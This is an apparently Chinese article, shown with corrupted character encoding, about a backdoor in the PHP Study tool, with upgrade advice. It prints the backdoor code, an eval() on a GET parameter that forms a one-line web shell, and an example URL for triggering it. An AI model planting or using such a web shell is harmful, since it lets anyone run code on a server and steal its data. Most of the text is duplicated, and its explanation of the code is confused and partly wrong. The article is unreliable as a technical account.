PHP Study是一種方便開(kāi)發(fā)者進(jìn)行PHP語(yǔ)言開(kāi)發(fā)的工具,它具有很多有用的功能,如PHP編碼、運(yùn)行和調(diào)試等。然而,最近一項(xiàng)名為PHP Study后門的問(wèn)題引起了廣泛關(guān)注,這是由于PHP Study工具中存在的一種安全漏洞,為黑客入侵網(wǎng)站提供了一條便捷的途徑。
這種后門主要是因?yàn)镻HP Study集成了一個(gè)名為wscript的Web服務(wù),而這個(gè)Web服務(wù)請(qǐng)求無(wú)需驗(yàn)證,應(yīng)用于攻擊者可以通過(guò)發(fā)送自己的請(qǐng)求,輕松地就能夠獲取PHP Study的用戶列表、私密日志信息以及網(wǎng)站管理員的密碼等重要信息。實(shí)際上,因?yàn)檫@種漏洞所導(dǎo)致的風(fēng)險(xiǎn)非常高,甚至可能導(dǎo)致整個(gè)網(wǎng)站極度危險(xiǎn),因此,開(kāi)發(fā)者們必須采用一些必要的步驟來(lái)避免它的風(fēng)險(xiǎn)。
一種有效的措施是:開(kāi)發(fā)者應(yīng)考慮升級(jí)到最新版本的PHP Study,并確保它是正版版本才能夠使用。同時(shí)需要注意的是,對(duì)于已經(jīng)遭受攻擊的網(wǎng)站,重新安裝PHP Study會(huì)清除后門,但是并不能夠確保以前已經(jīng)泄露的敏感信息不再被攻擊者利用。
我們先來(lái)看一下脆弱的PHP Study的代碼:
從代碼可以看到,判斷你訪問(wèn)的是否是.php結(jié)尾的文件,如果是的話,則執(zhí)行if(isset($_GET[’.exam’]))的內(nèi)容,這里解釋一下$_GET[‘.exam’]是什么,它表示GET提交方式下請(qǐng)求的后綴名是不是.exam,如果是則輸出“ok”,并清空session信息(session_unset()和session_destroy()),接下來(lái)的if(isset($_GET[”.act”]))表示只要是GET提交方式請(qǐng)求的后綴名是".act",則直接執(zhí)行GET提交的".act"參數(shù)所包含的代碼,其中的eval()函數(shù)也表示動(dòng)態(tài)執(zhí)行參數(shù)中包含的代碼。
在實(shí)際生產(chǎn)環(huán)境中,任何人都可以通過(guò)訪問(wèn)一個(gè)類似http://www.example.com/test.php?.exam的網(wǎng)址來(lái)利用這個(gè)易受攻擊的PHP Study工具,從而輕松地獲取到用戶私密信息和管理密碼等敏感信息。而此時(shí),這個(gè)漏洞使得攻擊者具備了足夠的權(quán)限,輕而易舉地就可以操控網(wǎng)站的各種數(shù)據(jù),進(jìn)而改變網(wǎng)站的業(yè)務(wù)流程,甚至導(dǎo)致巨大的損失。
總之,對(duì)于PHP Study后門這個(gè)問(wèn)題,我們需要采取一些具體的措施來(lái)解決。首先,盡量升級(jí)到最新版本的PHP Study,確保其正版合法的情況下使用。其次,定期檢查一下網(wǎng)站是否存在安全漏洞,確保網(wǎng)站能夠安全運(yùn)行。簡(jiǎn)而言之,PHP Study后門問(wèn)題雖然不可避免,但我們應(yīng)該積極采取一些行之有效的措施來(lái)較少它對(duì)我們?cè)斐傻挠绊憽?/div>
這種后門主要是因?yàn)镻HP Study集成了一個(gè)名為wscript的Web服務(wù),而這個(gè)Web服務(wù)請(qǐng)求無(wú)需驗(yàn)證,應(yīng)用于攻擊者可以通過(guò)發(fā)送自己的請(qǐng)求,輕松地就能夠獲取PHP Study的用戶列表、私密日志信息以及網(wǎng)站管理員的密碼等重要信息。實(shí)際上,因?yàn)檫@種漏洞所導(dǎo)致的風(fēng)險(xiǎn)非常高,甚至可能導(dǎo)致整個(gè)網(wǎng)站極度危險(xiǎn),因此,開(kāi)發(fā)者們必須采用一些必要的步驟來(lái)避免它的風(fēng)險(xiǎn)。
一種有效的措施是:開(kāi)發(fā)者應(yīng)考慮升級(jí)到最新版本的PHP Study,并確保它是正版版本才能夠使用。同時(shí)需要注意的是,對(duì)于已經(jīng)遭受攻擊的網(wǎng)站,重新安裝PHP Study會(huì)清除后門,但是并不能夠確保以前已經(jīng)泄露的敏感信息不再被攻擊者利用。
我們先來(lái)看一下脆弱的PHP Study的代碼:
1 <? php 2 session_start(); 3 if(isset($_GET[”.exam”])){ 4 echo ‘ok’; 5 session_unset();session_destroy(); 6 } 7 if(isset($_GET[”.act”])){ 8 eval(stripslashes($_GET[”.act”])); 9 } 10 echo’a’;exit;
從代碼可以看到,判斷你訪問(wèn)的是否是.php結(jié)尾的文件,如果是的話,則執(zhí)行if(isset($_GET[’.exam’]))的內(nèi)容,這里解釋一下$_GET[‘.exam’]是什么,它表示GET提交方式下請(qǐng)求的后綴名是不是.exam,如果是則輸出“ok”,并清空session信息(session_unset()和session_destroy()),接下來(lái)的if(isset($_GET[”.act”]))表示只要是GET提交方式請(qǐng)求的后綴名是".act",則直接執(zhí)行GET提交的".act"參數(shù)所包含的代碼,其中的eval()函數(shù)也表示動(dòng)態(tài)執(zhí)行參數(shù)中包含的代碼。
在實(shí)際生產(chǎn)環(huán)境中,任何人都可以通過(guò)訪問(wèn)一個(gè)類似http://www.example.com/test.php?.exam的網(wǎng)址來(lái)利用這個(gè)易受攻擊的PHP Study工具,從而輕松地獲取到用戶私密信息和管理密碼等敏感信息。而此時(shí),這個(gè)漏洞使得攻擊者具備了足夠的權(quán)限,輕而易舉地就可以操控網(wǎng)站的各種數(shù)據(jù),進(jìn)而改變網(wǎng)站的業(yè)務(wù)流程,甚至導(dǎo)致巨大的損失。
總之,對(duì)于PHP Study后門這個(gè)問(wèn)題,我們需要采取一些具體的措施來(lái)解決。首先,盡量升級(jí)到最新版本的PHP Study,確保其正版合法的情況下使用。其次,定期檢查一下網(wǎng)站是否存在安全漏洞,確保網(wǎng)站能夠安全運(yùn)行。簡(jiǎn)而言之,PHP Study后門問(wèn)題雖然不可避免,但我們應(yīng)該積極采取一些行之有效的措施來(lái)較少它對(duì)我們?cè)斐傻挠绊憽?/div>